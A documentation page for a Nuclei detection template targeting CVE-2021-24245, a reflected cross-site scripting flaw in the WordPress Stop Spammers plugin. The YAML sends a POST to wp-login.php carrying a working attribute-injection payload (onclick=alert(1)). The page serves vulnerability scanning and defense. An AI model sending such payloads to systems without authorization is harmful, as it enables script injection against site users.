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WordPress Stop Spammers <2021.9 - Cross-Site Scripting

ID: CVE-2021-24245

Severity: medium

Author: edoardottt

Tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani

Description

Section titled “Description”

WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.

YAML Source

Section titled “YAML Source”
id: CVE-2021-24245


info:
  name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24245
    - http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24245
    cwe-id: CWE-79
    epss-score: 0.00231
    epss-percentile: 0.60494
    cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: trumani
    product: "stop_spammers"
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'Stop Spammers Spam Prevention'
          - 'Tags:'
        condition: and


  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check;


        log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"


      - type: word
        part: body
        words:
          - "ad\" accesskey=X onclick=alert(1)"


      - type: status
        status:
          - 200
# digest: 4a0a004730450221008fe5c5adc3aa5aeba8ac0e577acd182c85b4c467e9af4dddda5098a42249647e0220456c6b94e1d2c933075d5b667ba6579d2dd1e9f696edc1f422560308e5e377a7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24245.yaml"

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